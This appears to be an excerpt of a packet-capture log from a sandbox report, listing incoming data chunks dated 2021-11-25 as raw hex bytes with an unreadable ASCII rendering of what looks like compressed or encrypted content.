3b 7d ef c3 3e 12 a9 be b5 12 c1 31 2c b0 38 30 5a 89 8f d6 2d 1d 2f 1b 5a 9e 87 17 32 d8 b6 a6 86 77 73 df 42 b7 c7 3d 
cc 4c 0e 7d b5 db fb 78 c7 23 74 c7 d3 c0 49 0a 
Data Ascii: }#[[~n[l0kO|l0OtbQM5zF4WfcNe6O-PqZ=~ 2%S:>5NBM*iXc/SNjt8tfMH-DQ~Q6~;}>1,80Z-/Z2wsB=L}x#tI

2021-11-25 16:27:48 UTC 946 IN Data Raw: 9d e2 cf 59 ba cc 85 54 e4 03 83 ca be d0 f9 14 43 e5 83 fc c2 27 4c f4 d2 2e 48 61 3e ea 87 37 64 d1 6f 4f d3 
8d 3e 3c 66 83 13 78 14 6a 8b 3c 5a a5 d2 99 e4 34 88 ef 3d 99 83 0a 57 b1 f0 f0 0c 4a 33 d7 9a 2a 20 fd b6 01 1d 3d 05 
c4 16 86 dc 4e 32 8b cb 41 9b 46 7d 27 8e 9a fc 6f d4 fc f3 02 92 11 71 09 08 88 06 fa 44 cb 59 3a f6 37 cc 31 ae fb b4 9b 
8c b2 d9 89 68 e8 24 fc 72 c0 e5 c7 9f 9e 93 6c 1c 17 7f f1 0b 36 2f 67 63 40 10 83 d5 43 93 bd 71 23 5f 2e 2b ed d2 89 
96 57 4f 9f d9 09 9a a8 08 35 8f fd b0 9d 33 f7 f9 60 e0 84 cf 24 16 db 25 11 47 0a ce 32 9f 37 47 24 05 08 3b a3 fa b1 68 
88 a6 f0 6a 9e 8e 79 4c 3c e1 a1 58 56 c6 47 86 38 c7 5b 14 a2 c1 07 27 a0 e7 e0 25 c1 e2 f8 4e 0e 41 39 bc b1 2e 46 41 
a4 1e 7e 47 f3 44 be 11 35 70 f3 4f b9 2b f0 9e 
Data Ascii: YTC'L.Ha>7doO><fxj<Z4=WJ3* =N2AF}'oqDY:71h$rl6/gc@Cq#_.+WO53`$%G27G$;hjyL<XVG8['%NA9.FA~
GD5pO+

2021-11-25 16:27:48 UTC 948 IN Data Raw: 81 60 6d 6a 8a 74 60 53 63 10 7b 6e 6a b2 ec d9 dc df d8 82 3f 73 e4 30 51 4c e6 a4 05 29 96 29 08 53 02 f2 
9b be 3b c1 0f 06 37 b0 4f 7c b2 ee 05 fc 75 66 1b 8c a6 32 26 f4 ab 19 f4 e6 87 1a b9 24 93 19 38 76 96 77 01 ef 78 e9 
33 f3 c9 7b 7c a5 8f fe d4 8a a9 9f 6e 17 6a db c5 d5 3f e2 c3 1f 25 ec e0 8f 0b ae 1f f0 e2 8f 70 bf df 7d 6e 2f 5c 65 d6 b0 
5f d2 94 e0 45 d5 e4 57 bf ba 1e 7e d2 44 e8 8f db c4 5f 52 d5 b3 a0 8f 24 04 a5 df b8 be 07 7a 16 61 a5 3f 99 b3 d6 7e 
11 b5 5f 6e 6c ff aa 85 ed df b4 cc 50 c9 2b b6 42 1d b8 b0 f5 1f b0 e1 02 2c b5 1d fc 84 7a 92 1f c1 c7 6c 1c fd 50 17 44 
3d 31 41 35 3b 41 f0 51 3d 67 ee 6a e4 c6 a5 b0 e0 d6 85 db 57 50 93 e0 e4 7a ef 79 1a 46 4d 2f c2 69 b6 4f ad 19 fd ba 
93 e6 79 c9 9e 97 51 c3 cf 54 fd 37 2d 33 ea 3a 
Data Ascii: `mjt`Sc{nj?s0QL))S;7O|uf2&$8vwx3{|nj?%p}n/\e_EW~D_R$za?~_nlP+B,zlPD=1A5;AQ=gjWPzyFM/iOyQT7-3:

2021-11-25 16:27:48 UTC 949 IN Data Raw: 24 80 4c 2c e4 a1 3c 76 48 13 e3 2e 22 13 89 44 22 81 83 2d 1f fc f1 a3 ff f3 ff 34 3e 6a 7c bc be 7b 58 4e 77 
5f 7e df f8 7a ba 2f 76 8b e9 b2 f1 59 51 2e ee d6 9c 78 bf df 6f cb ab 3f fe f1 6e b1 bf 7f b8 69 cf 36 ab 3f 4e 25 ff 1f 57 8a 
9b b3 fd 79 b9 98 15 eb b2 68 7c fd e2 07 fe fb 4d b7 dd 6d f7 3a ec cf 3f de 6c e6 4f cd fb fd 6a 79 b8 2f 16 77 f7 fb ab 6e 
a7 f3 e1 f5 76 53 2e f6 8b cd fa 6a 57 2c a7 fb c5 9b e2 3d e7 3b ac a6 bb bb c5 fa aa 73 bd 9d ce e7 8b f5 dd 55 e7 fd 2f fb
e9 cd 62 3d 2f 1e ff f4 41 ab fb c1 ab ab db cd ec a1 3c 6c 1e f6 cb c5 ba b8 5a 6f d6 c5 fb f6 82 15 bd 3f e8 3c dd ce f6 f1 
fd b4 bd 9a b7 d6 9b 56 b9 7f 5a 16 cd 9b 87 fd 7e b3 86 49 87 db cd 7a df 7a 2b 55 1a 74 3a d7 37 d3 d9 eb bb dd e6 61 
3d 6f cd 36 cb cd ee 6a b1 
Data Ascii: $L,<vH."D"-4>j|{XNw_~z/vYQ.xo?ni6?N%Wyh|Mm:?lOjy/wnvS.jW,=;sU/b=/A<lZo?<VZ~Izz+Ut:7a=o6j

2021-11-25 16:27:48 UTC 950 IN Data Raw: 53 3e ba 3c 77 bb e9 93 18 ca 44 53 2b 0f 6d 0d e4 0a 92 17 74 d5 ed b2 09 e9 35 5c 51 f6 3b bc 07 ec f9 3c af 
e4 fd 92 89 69 b5 3b dd 62 75 cd d7 7b a6 46 3c 9f 25 b5 0f a4 0e 47 8e d0 01 2a b4 33 74 a4 f2 7c 96 d0 1e 10 3a 18 62 
42 41 ee d1 c0 c9 dd 05 b9 fb 83 48 ee 41 47 e5 be 2f a6 73 4e 00 99 7b b1 cc 7d 6d 8d fd 62 bf b4 72 76 9c 9c 43 df 12 
d2 10 72 90 79 b8 e1 c5 c3 06 e2 a6 84 45 f5 74 2d b9 bb b6 ba 4d 2f 1b 6d 72 d1 8c 20 2f 2c 66 e0 16 d3 81 c5 f4 5c d6 
68 95 5c 87 31 6a cf a6 5b b1 c2 04 02 b9 0b 7a 02 7a 5a 55 b1 7c 3d a0 55 01 9b 0f c4 b6 85 28 e5 76 ba 5a 2c 9f ae be 
db b0 c1 75 d3 fc a2 58 be 29 f8 12 be f1 4d f1 50 34 4b f6 3d 60 0b e0 dd e2 36 bc 01 02 f4 ed a8 79 fb 76 ba 66 eb 6b d6 
e1 99 62 6f 77 7c a9 bc b3 b6 8a d4 87 84 5a 6f 56 
Data Ascii: S><wDS+mt5\Q;<i;bu{F<%G*3t|:bBAHAG/sN{}mbrvCryEt-M/mr /,f\h\1j[zzZU|=U(vZ,uX)MP4K=`6yvfkbow|ZoV

2021-11-25 16:27:48 UTC 952 IN Data Raw: c6 c7 31 b3 cd 89 ad 75 06 c3 92 dc 6d 77 8f 77 f5 ae 0d 38 e6 05 e2 cd 5e 88 29 cf de b7 fe 3f 8b d5 76 b3 63 
5d 64 6f 04 4c 26 ae 00 79 84 50 89 d0 9c 63 b8 81 dc 9a 3f c8 3b 77 57 9e 02 cc b8 cb cd 9d 9f ff d2 2b 49 5d 18 2b ef 8b 
02 29 6f e4 6b b6 60 fe 3e 7d e3 b3 0e 3d d6 19 3f 1d 6e cd a6 fb d9 3d 36 0c bb ec 72 c7 17 6e 20 e3 1c d5 1c cb 5a 2d 
06 18 91 24 77 c1 19 2c cd de c3 a7 76 b6 07 65 44 02 92 84 ae 7b 61 93 20 5f 2f c7 0b 8d 77 82 4b 0f 0d 7e f6 d7 18 f3 
d1 c6 b4 bc b9 42 c6 9c ba 65 6e 37 c2 44 39 62 8a 5e 13 99 9f 77 9a 63 b6 58 6c e2 57 e0 7c 7a ea f2 08 fa f6 96 d9 b0 
d8 31 93 78 9a a0 5c 89 54 7f f2 e6 1a 5c 9c e3 4e 4b 71 96 0b 76 c8 e5 51 96 cb eb 7b 62 d4 70 7c 0e 11 32 9c a2 93 45 
79 5b 42 ce 37 3b b1 e1 c0 28 94 cc 89 e9 14 99 b3 
Data Ascii: 1umww8^)?vc]doL&yPc?;wW+I]+)ok`>}=?n=6rn Z-$w,veD{a _/wK~Ben7D9b^wcXlW|z1x\T\NKqvQ{bp|2Ey[B7;(

2021-11-25 16:27:48 UTC 953 IN Data Raw: 1b db 3e 0f e8 7b 75 bb d8 f1 bb 06 f7 8b a5 bb 72 e8 09 7d c4 a7 31 28 61 39 f5 04 88 d8 4d ef a8 4c d7 45 7c 
6c 85 f4 fc e3 6c cb 4b 9c a9 84 fc c4 06 0e b2 67 d3 dd 3c 72 7f 23 b0 25 55 05 41 db 33 7f 5e 50 df 9f 3a 5c 34 4d 63 3a 
a4 ee 80 d3 7a 8a d6 72 a3 8a bb f2 18 86 2b db 50 ff 3a 87 6a 72 c3 2a b2 3b 4f c8 80 0d 6e 48 d3 37 d3 fd 74 a7 96 65 
aa d3 89 68 53 2b 70 e3 14 69 62 c6 a9 52 c4 70 23 c4 13 42 2b 8f 22 64 56 12 a2 0a a6 c9 82 ea 81 ea e3 32 5d 41 c4 0c 
38 29 b3 18 fa c4 b6 93 fc dd 4c cb a5 67 57 fe da 37 2f 3f 8c f7 cf ca f9 bc 7c 73 a7 2f 18 e9 89 a7 b4 83 fa 95 26 ee 0f 36 
55 6e d5 f2 4d f5 6c 43 62 92 84 71 dd f0 60 be 5f 16 13 09 b5 c1 be 05 e8 00 91 21 14 1e ab 12 aa 3d 5f ac ee b4 33 3c 
77 24 02 92 91 2e aa d9 92 c3 29 a3 a7 0e 73 
Data Ascii: >{ur}1(a9MLE|llKg<r#%UA3^P:\4Mc:zr+P:jr*;OnH7tehS+pibRp#B+"dV2]A8)LgW7/?|s/&6UnMlCbq`_!=_3<w$.)s

Timestamp
kBytes
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2021-11-25 16:27:48 UTC 954 IN Data Raw: cb 8a 00 76 f0 b6 61 a7 1e cb 1b 35 f8 58 59 95 ee 23 9b d9 5f 07 01 1b c4 86 e8 fd bd db 7e 42 f7 aa c4 be be 
80 5b c9 16 b3 b5 62 3a e7 27 b4 26 8f 87 9f e9 44 8f 00 d5 f4 e2 46 cb 30 40 1e dc fe 6e 31 ab cd 1b ae b0 3b c0 e9 c0 
dd 9e ef 80 a9 79 1d 84 d4 9e a5 24 2a a0 aa ac 7b 00 2f 25 0e 32 94 89 c9 72 b4 1b 40 e5 4c 85 ec b9 0a 32 26 e2 4b 09 
3c 9a a7 3a 1b 55 37 ae 61 30 97 c4 e5 37 9f 04 0a 12 b5 0a f9 c4 df a6 43 ac 63 2a 03 ca 57 8e 7e ed 7d 37 fc b1 15 5a 
d0 e9 71 95 b6 c8 e6 88 a3 6a e2 50 10 d0 df 57 27 4f 7b 2a 66 ca ca 25 50 ac 61 ae 56 31 67 f3 a0 45 d9 2a d6 62 fe 7a 
c8 dd d8 79 cd d1 ea d3 36 7c 42 95 50 6f aa 84 56 6f da af ad d8 25 a2 ff 26 14 b0 73 57 c5 71 f5 0e 24 62 25 98 25 cb 
be 00 e2 9e d0 80 30 7f 75 8f 63 81 56 ef 30 7a 7d 21 
Data Ascii: va5XY#_~B[b:'&DF0@n1;y$*{/%2r@L2&K<:U7a07Cc*W~}7ZqjPW'O{*f%PaV1gE*bzy6|BPoVo%&
sWq$b%%0ucV0z}!

2021-11-25 16:27:48 UTC 955 IN Data Raw: bd 52 38 8e bf 26 ea c7 5e 67 56 73 4d a2 dd d5 e2 b5 55 bc 61 bf 4a 39 27 72 6f b2 20 55 3c a0 ef fc 99 17 3f 
3c b3 0d e5 e3 51 f0 35 6b 61 18 f7 ab ee c9 ef 52 1a 34 ac 65 00 7e da 01 b2 15 8f ac cc b9 19 62 4f 7c 89 2f e3 42 ab 3e 
81 57 2d 67 5f 46 1d a2 f0 d9 10 65 29 cc 22 74 d6 0c 6e 95 cd e7 44 4d 95 e8 db 0c e6 bd 5e 3e 3f 0b d5 fb 9f cf 06 43 bc 
ca 92 e2 8c d5 01 65 bc 9b 0f e1 62 5b 74 b9 82 14 a9 3b a7 e2 a1 9a 10 c4 5a 75 a8 11 7a 2d c1 41 d2 a9 ca 02 cf 9a 27 
cd b6 f5 77 03 bd e7 9e 22 d6 35 a5 b7 69 0d 78 c5 e0 e3 0c 05 18 4f 44 f5 26 96 45 f0 54 93 ea 58 ed 12 4a 75 6a 86 95 
5a 4d e4 f8 8c 89 d5 7b 56 dc 6f 96 ac 60 39 c1 8d 67 79 33 5d 3e 14 38 33 6b f4 d6 74 ce 63 fc 54 74 01 3e 06 87 ec 6d 
7d 02 ac cd 98 10 9c dd cf cf 5a 63 d6 f3 a8 e0 
Data Ascii: R8&^gVsMUaJ9'ro U<?<Q5kaR4e~bO|/B>W-g_Fe)"tnDM^>?Ceb[t;Zuz-A'w"5ixOD&ETXJujZM{Vo`9gy3]>8
3ktcTt>m}Zc

2021-11-25 16:27:48 UTC 957 IN Data Raw: f5 15 71 23 53 33 f3 9b 01 db 54 3b 20 21 38 61 24 cd 85 df 28 5a a9 a7 d2 f9 eb e9 b1 cf b4 c5 dc 84 3f 1a fa 
c7 7e b1 2c 68 8a 42 b7 0d 30 c8 63 0f 9a e1 f9 ed e2 ee 81 82 a9 7c 4f 66 8b 7d 90 e9 9c 0d 55 60 6c 8f 8d 38 dd 85 1b 
be d4 b1 ae 87 74 69 c7 81 98 7d 75 e9 13 84 9a 59 66 c6 6c 1e 3c e2 e3 eb 36 a4 d2 fa d2 19 3f 5e 91 43 0c df 22 87 37 
ca ac 03 dc f1 85 37 d1 23 d0 14 3b 70 6c 4c af 71 e3 be 9f 5a 69 9d 61 90 67 a5 8c 12 74 86 c1 c1 89 2c 32 cd 29 62 d3 
f4 5b 34 67 a9 a5 51 1a 79 6b ea ac 56 1a c0 02 7b e9 05 ea c8 31 7d aa 9a ae e4 c1 bc 81 92 7b dc 53 8d 12 f8 89 0f 5e 
18 12 52 64 9e 1b 14 23 b9 6a 65 b9 9c aa 3e c5 32 2e 98 7d 24 d4 5f 39 60 91 1c 9f fb 6a f6 b0 e3 5f f0 4f 79 7f 33 e0 97 
55 f8 ae f8 13 42 51 eb df 15 59 ab d8 e0 4f b9 61 
Data Ascii: q#S3T; !8a$(Z?~,hB0c|Of}U`l8ti}uYfl<6?^C"77#;plLqZiagt,2)b[4gQykV{1}{S^Rd#je>2.}$_9`j_Oy3UBQYOa

2021-11-25 16:27:48 UTC 958 IN Data Raw: a8 48 ae 9c dd aa 90 44 a1 6c be 22 20 5b d6 be 99 0f f9 c6 91 47 d8 3f fc 24 34 e8 09 e2 3a af bd 2f 3b f2 37 
66 d3 5a ce 97 e5 6d e1 e1 e7 1c 48 43 1c 2a 5d 72 1d c8 15 02 bc 27 56 be bc 38 1d af 42 92 1e 88 30 d4 b6 51 7f 50 bf 
b0 b7 9b cd 71 48 0f 5e 45 cf d0 0f 17 ee de b1 4d e8 75 99 d5 4e f1 84 53 7b 13 25 e3 c4 ae 75 d9 e3 7d 4a 9e fc f0 11 
de 5c 59 c7 71 4d 6d a6 8c bb 06 20 f3 fd 74 3d 47 81 a6 34 da d2 b0 7a f0 d9 dc 1f b3 be 39 16 50 17 58 fc 2b 7c ae 75 
a9 8a ca be 0a 83 18 5f 81 94 b7 f6 f7 c5 aa 30 23 b9 b8 89 62 ee bb 60 97 07 2b 54 a4 46 47 f3 38 e0 06 11 0c ef a5 c0 
cd 37 48 c2 ed 4e b7 58 d9 6b c3 76 4f de 34 e6 b2 a5 ae eb 52 5c 0e e2 09 26 f8 91 a6 0a 7d cc 2f 56 fb b5 fd b4 df 40 5d 
07 ce 93 a0 a0 6e c3 45 6b 3c 5c e0 3b 4e c1 d7 5e 
Data Ascii: HDl" [G?$4:/;7fZmHC*]r'V8B0QPqH^EMuNS{%u}J\YqMm t=G4z9PX+|u_0#b`+TFG87HNXkvO4R\&}/V@]nEk
<\;N^

2021-11-25 16:27:48 UTC 959 IN Data Raw: f5 1a dd 94 d0 37 b3 f9 09 cd cf d9 f0 e5 db c5 7e 76 9f 6c 58 c9 1e 6c 74 07 fe 36 ef a3 98 a0 6a be 4d 6d a5 
a9 57 c0 d1 c9 96 fb cd c6 d2 b6 f1 85 9f cd 92 20 e5 b9 7c 5b c2 6c 97 5b 90 97 d6 86 a8 7d ec ed 24 5b c7 6c 1e 4f 1f cf 
8a 1d 83 c2 ef 3d d8 07 c4 51 3e 09 1d 45 ad 37 3c c2 54 c5 d2 c7 14 0e 67 e8 27 08 45 aa 62 65 88 2e 4b 88 aa 20 57 16 
52 2a 94 92 8d bc 5e 91 52 39 24 1b ee 47 e2 6f 02 25 09 81 e0 4a 33 01 4f b1 2f ff 65 1a 23 20 20 e3 c6 61 a6 81 2a 01 
09 17 0c b3 8c 10 cb 7d ca f5 c1 2c c3 c4 72 9f e5 72 60 dc 54 e0 c2 50 a6 65 b0 9c 29 f7 92 32 eb ed 5c 43 1a 39 41 19 
03 2a 28 c3 9c 1e 7b d1 19 5e e8 3e 02 49 86 77 cb 1c b3 0e 8e 36 ab 9f 33 e5 ca 5f b6 59 07 6e ac 4b c8 8c 7d f1 7a 63 
17 33 fe bf c4 bc db 63 ad eb 67 4c b8 11 99 6b db 
Data Ascii: 7~vlXlt6jMmW |[l[}$[lO=Q>E7<Tg'Ebe.K WR*^R9$Go%J3O/e#  a*},rr`TPe)2\C9A*({^>Iw63_YnK}zc3cgLk

2021-11-25 16:27:48 UTC 960 IN Data Raw: 4b a9 9b 43 5a 55 08 f7 88 74 19 d0 f4 de 04 fc bf 3a 72 91 01 e4 0b 85 04 7c 27 a8 9f 7c 23 bb db 0b 55 aa a9 
9e 9d 0e 32 61 85 49 94 48 af b4 a4 c2 c2 2a b9 a5 b1 f1 4b 62 6f 17 18 a6 31 e7 64 43 f0 6e 6a 2d 86 2d 87 b7 07 41 3e 
41 fa b3 ee bf af 8b a7 db dd 74 55 94 0d 3e 53 63 3d 9b 65 66 05 b5 64 f7 3c 74 3e a4 7b ba e8 b9 7e 8f 16 c9 ef f7 1b 3a 
63 77 ff b0 5b 23 39 65 3a 5b f5 ff 6f 54 6a 25 20 03 ee 76 45 59 b6 66 8b dd ec 61 39 45 f0 32 fd 57 44 bd 4c c2 79 bc d4 
96 46 69 3e 78 27 49 b8 14 3e 32 6f e6 45 cb b2 90 b8 37 6f 1e 1b 34 40 f6 98 15 1b dd e1 68 dc 1e f5 57 1a c5 80 d9 fa 
76 b1 66 43 d1 f5 b1 19 51 45 d5 7b ab 6e f7 36 47 39 a2 ba 4b 3b 4a df 12 24 0b 89 3d d3 0d 67 24 ca f7 e1 73 02 42 3a 
78 ff dd b9 ce 68 bf a4 e1 14 6d 37 98 4c 4b 6d 
Data Ascii: KCZUt:r|'|#U2aIH*Kbo1dCnj--A>AtU>Sc=efd<t>{~:cw[#9e:[oTj% vEYfa9E2WDLyFi>x'I>2oE7o4@hWvf
CQE{n6G9K;J$=g$sB:xhm7LKm

2021-11-25 16:27:48 UTC 962 IN Data Raw: 32 0b ab 10 25 af 3d f4 05 b2 34 d4 2e 12 95 38 d2 1e de 95 2e 24 de 50 81 86 56 71 43 06 ed f2 4d b1 db 2f 
98 12 ea 2e f7 6a 31 9f 2f 0b ec e1 09 ec f1 7a e0 fd e1 c1 4a 56 c4 02 8a 73 10 43 3b b0 17 f0 8e be 6d b3 ba 6c c4 83 c7 
3c 4a d9 15 db c4 99 ef f6 ad e5 5d 76 16 d1 29 f3 b2 94 ab ec 2c 8f 65 5e 96 dc 8a e4 d6 22 b7 0a 8f cb 4c 7e aa be 07 7f 
2a 41 b4 bd 6c ce dd e6 6d 56 5b 66 f1 33 2b 64 f1 b3 5a a5 f3 67 29 9f a5 79 3a 67 56 05 59 1b 67 30 a3 a6 38 98 7b dd 
32 e2 cf 8d b2 ce 6a e6 84 9c 84 d9 12 72 12 96 49 c8 49 38 41 2c e7 91 95 3c b2 86 c7 e4 39 d2 24 84 db 44 b3 85 1c 08 
60 0d 38 10 a9 99 4e e4 e1 0a e7 f8 51 62 66 dc 6e 89 99 71 33 a4 64 3e be c2 c7 d7 f6 c8 6c c7 5b 08 77 ae a4 9c 71 c3 
86 26 25 ae a7 11 d1 23 b0 e0 95 79 a1 8f 5f e1 2a 
Data Ascii: 2%=4.8.$PVqCM/.j1/zJVsC;ml<J]v),e^"L~*AlmV[f3+dZg)y:gVYg08{2jrII8A,<9$D`8NQbfnq3d>l[wq&%#y_*

2021-11-25 16:27:48 UTC 963 IN Data Raw: 34 dd a7 34 ac 42 2a 2f b1 86 33 81 b1 6d a3 ec 08 18 c2 ac ed 4c 30 06 1b a0 d0 d0 a4 c5 1d 36 15 5e 29 1f 
cd c4 8c a7 61 b6 39 01 d7 2f 2b e6 36 8b ed b2 78 55 d5 c5 ec 77 f3 51 b5 58 4b 58 13 ab 7e 83 8e 57 3f 1f b4 ed e4 52 
10 f8 6b 0d ab 7a 84 ec 7f 9b fb 6a 91 0b 6a a7 57 1d bd c7 76 b2 d8 ff 80 6b 65 a7 db 40 ce f2 70 13 04 eb 24 2f f5 75 c0 
a5 be 0e bc d4 67 fc 42 fc 59 8b ae ff da eb 89 c7 aa 2f e6 e4 b8 7d 41 f3 b6 7b 83 f2 b4 8b 74 de c2 1d b9 1a 58 3d 53 72 
64 8d 7e 91 79 f4 f6 8d aa 5b 75 b5 30 30 ba 9f 50 44 d0 49 49 38 b4 c1 10 07 52 53 e9 04 06 d4 a0 3d e2 b1 7d ca 2d da 
3d fe 1f 00 fd 96 1b f3 6a fd 6c 58 35 40 79 bf dd e7 ff e5 35 8a c6 9c 12 3f 54 53 57 3d ef 58 2b 86 26 5c 47 c8 93 fb 2e 
2e 28 4d b4 71 e8 6f 96 7c bc 30 fc f1 12 1f a8 
Data Ascii: 44B*/3mL06^)a9/+6xUwQXKX~W?RkzjjWvke@p$/ugBY/}A{tX=Srd~y[u00PDII8RS=}-=jlX5@y5?TSW=X+&\G..
(Mqo|0

2021-11-25 16:27:48 UTC 964 IN Data Raw: 29 f5 4a 10 90 58 31 c7 bd 44 25 9a 67 b2 49 da be c2 51 7a db 23 6e 6e 4e 10 e3 53 4b b5 33 b4 49 94 a6 a6 
62 49 af 44 98 a3 8a 06 32 02 04 b8 08 cb 57 ca fe b2 2b a6 f3 cd 7a f9 f4 aa e6 c6 25 8b 08 18 32 98 e7 37 36 97 1d 7e 
05 66 0e f8 67 1d e5 17 f3 80 26 c2 23 3d c6 d4 f1 22 38 1b 72 45 07 9b 28 00 8d 85 4a 73 26 6f de 9d db aa 95 74 b0 da 
2b fc e6 39 bc a1 2d 77 09 c1 31 20 21 09 db ad 93 01 31 d6 63 7e 5d 78 e5 56 07 70 f5 cc e4 58 6c 51 ca 75 74 59 2c 6f 
f5 7a d9 5a 66 e3 6b ea 90 5a ee a6 1e d8 87 ba ae 2e c6 80 6b 67 e2 e0 69 28 ce 9d 44 44 74 48 b6 b3 9d c3 a5 c0 0b 
26 aa 8e 62 9b 10 93 7d 6d c5 93 a5 15 e2 ed 8b e8 73 a9 5c 19 ee aa a7 a5 b1 a7 c2 96 14 7d 27 a2 b7 35 18 54 7d 42 
16 33 d0 7b 55 93 36 fe 24 22 be 23 a1 f7 23 52 76 2f 00 6f 96 
Data Ascii: )JX1D%gIQz#nnNSK3IbID2W+z%276~fg&#="8rE(Js&ot+9-w1 !1c~]xVpXlQutY,ozZfkZ.kgi(DDtH&b}ms\}
'5T}B3{U6$"##Rv/o

Timestamp
kBytes
transferred Direction Data
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2021-11-25 16:27:48 UTC 966 IN Data Raw: d3 2f 09 21 78 bf 5b ac 5f 57 05 40 f0 58 50 fd 6a 59 39 7f 5a 4f 57 8b 99 9a 6c cb 8d 75 33 cd 53 df 77 2e 88 af
4b d4 5b 68 ec d7 9f 64 ed 5e b9 48 a0 f1 1c aa 1d 4a 73 e0 ee 9b d3 58 0e 0f e1 10 e7 ed d5 22 3d ad 34 dd ec ba 54 fd 
7d f0 b4 f6 6d 42 ca 00 a6 42 16 a6 d7 e6 54 dd 3d f9 11 7f c2 83 17 d3 b6 6f 16 e5 82 4d f4 a2 ba 68 55 aa f3 45 3c 48 48 
1b c6 da 64 f5 9b c0 9e 95 35 3a 10 f6 14 9c e3 d2 12 29 6f 0a 9a 7f 30 a9 ac 6e 08 ce 5a 9d 5c 63 20 33 9d 48 bc b0 53 
12 57 6d cd 37 dd ab 57 31 5c b2 d8 5c 51 af 51 f8 d7 2f 24 10 db 99 a0 be dc fd 8f 6a db db 59 96 83 7d 94 91 05 b2 0c 
67 2f 0d d6 f9 25 d8 72 83 ab e6 cf 4a c2 57 fe 02 66 93 37 a5 23 c6 23 ae 53 07 c4 c2 9b 41 11 e1 90 d5 8c d8 4c f7 6b 7f 
f5 1b 2a 50 9c 7a 4c 25 7e 42 a8 34 cd 87 5d 
Data Ascii: /!x[_W@XPjY9ZOWlu3Sw.K[hd^HJsX"=4T}mBBT=oMhUE<HHd5:)o0nZ\c 3HSWm7W1\\QQ/$jY}g/
%rJWf7##SALk*PzL%~B4]

2021-11-25 16:27:48 UTC 967 IN Data Raw: f6 f4 e2 8d f0 a1 d5 8f bf b2 7e 40 d7 97 db f9 f3 fb e5 f4 a7 f9 66 ae 7e 7f 05 07 17 bb 3e cc 7f 97 af 59 fe d7 d3
7f 7e f3 f6 e6 f3 bf 0e 8d 4c 59 47 6b 30 63 f5 2b d9 ff 4b 9a 25 ef ad f0 cd bf df 75 fe 6f 6c c0 f2 c7 1f 00 72 9b 38 97 0d 62
37 55 53 cc 86 42 f3 54 53 ba c8 84 d4 e1 76 55 91 07 e1 bb 62 3f bb 17 e9 62 f0 9d de 71 a0 4b be 65 a6 57 91 ce 03 17 
fe d5 c4 7c 99 7a e5 cd 8f 20 0f f0 ed 0d b3 c4 95 d0 11 fe 92 d5 dd b9 41 f7 8f e1 16 84 12 e5 e3 07 d8 d8 99 33 b6 10 d9 
5d 89 93 76 3b a3 3c 4b 7a 58 ad 9e 02 9b 2c 70 cf 0a f1 15 52 12 fd 79 93 59 da 95 f5 d8 82 cc bc b9 d1 ef 79 f5 13 9b 8a 
e2 28 d7 de 0a 0b bc c5 80 de b8 a3 45 ca fd c6 e9 cd 41 9e 33 89 83 0d 0c 2e fb 3d ee 45 70 bf 89 42 91 44 de 39 0c 86 
e0 81 ac e7 cb 82 bd be 18 2c 82 
Data Ascii: ~@f~>Y~LYGk0c+K%uolr8b7USBTSvUb?bqKeW|z A3]v;<KzX,pRyYy(EA3.=EpBD9,

2021-11-25 16:27:48 UTC 968 IN Data Raw: bd 87 e5 f2 e0 c1 d4 d9 09 60 9d db 1b 5b fa 72 09 dc db 1f 56 96 a0 b1 23 67 ec 88 19 07 a5 a8 3e a6 1c 86 fd
5b 7a 8f 6f 10 2f 9f 0f 6c b9 cf b9 20 ee ba a2 97 56 1f 6a ee ab ee 50 19 cc e0 83 c7 8c 06 56 49 ff df ca bc d4 fe 9c 7f 24 
16 25 d8 3e 09 f3 35 d4 bf 62 6f 01 20 bf 34 c4 6e cf 9b 05 0c 55 af f6 c4 2c eb 38 bd 72 59 ec f9 bc 9f ef 13 f2 f2 db 9d ce 
b0 58 11 eb 5b b8 13 38 e8 74 ae f3 81 95 90 17 44 46 03 bb 59 46 03 7b f7 a3 0a 6a 36 9b 4e a0 3a 8d fb 6e 13 49 ec 61 
89 7d 50 77 1d ee 0c ab 64 87 40 9b f0 65 5f d2 f4 20 a3 7e 74 06 31 d9 9c 17 b3 8d 1a 97 70 cb 37 da bc 33 ab 6a c6 40 
a9 90 ec ab ea c9 cd 43 54 45 7f 1e 2a 8f 59 ed a8 7a cc a0 55 4e c4 86 15 51 38 3f f3 4e f7 5a cd bf 74 9c 3e 42 61 30 f8 
85 eb 1b 18 24 bd 7c cf ab 7c 10 db c9 
Data Ascii: `[rV#g>[zo/l VjPVI$%>5bo 4nU,8rYX[8tDFYF{j6N:nIa}Pwd@e_ ~t1p73j@CTE*YzUNQ8?NZt>Ba0$||

2021-11-25 16:27:48 UTC 969 IN Data Raw: c6 0e e5 d2 50 2e 1d ca c8 50 46 0e 65 68 28 43 87 32 30 94 81 43 e9 1b 4a df a1 f4 0c a5 e7 50 ba 86 d2 75 
28 c6 06 5d c7 06 c6 04 8e 05 8c 01 9c fa 9b ea 3b b5 37 95 77 ea 6e aa ee d4 dc 54 dc a9 b7 a9 b6 53 6b 53 69 b7 ce a6 
62 56 7a 07 f5 05 cd 6c f3 6a d1 b6 64 ad 88 ad 87 56 db d6 5a 57 d2 ae a3 36 89 6d 11 6d 40 db 7e da dc b6 b5 75 e3 
d8 6d 63 1a d3 69 4b d3 fc 4e eb 1b 87 71 fc c5 b8 98 e3 61 c6 29 1d 9f 34 6e ec 78 b1 71 7c c7 ef 4d 57 71 7a 8a e9 5c 
4e df 32 dd d1 e9 8d a6 03 57 fd 57 ec 95 b4 d8 20 aa 86 0e fd 76 44 98 5a 11 f4 5f 36 d2 3a dc d2 b1 25 01 42 b0 44 9a 
0f 63 41 b5 f0 8f 9f 9d 5a 0f 83 b5 f6 a9 15 41 ff 65 95 37 fc 90 aa f6 30 b1 da 21 3e 8c 05 55 c3 af 36 53 cc 2a a6 1b 6e 
6e 84 0c 28 e6 4f fb 20 a5 43 56 be 9b da e8 41 46 94 07 
Data Ascii: P.PFeh(C20CJPu(];7wnTSkSibVzljdVZW6mm@~umciKNqa)4nxq|MWqz\N2WW vDZ_6:%BDcAZAe7
0!>U6S*nn(O CVAF

2021-11-25 16:27:48 UTC 971 IN Data Raw: d1 69 36 0f 48 76 35 1f 45 6c 3e c2 6c 3e a2 2d 33 3a cd e6 01 c9 9e e6 11 9b 5f 62 36 bf a4 2d 73 79 9a cd 03 
92 5d cd 2f 23 36 bf c4 6c 7e 49 5b e6 f2 34 9b 07 24 7b 9a 47 6c 3e c6 6c 3e a6 2d 33 3e cd e6 01 c9 ae e6 e3 88 cd c7 
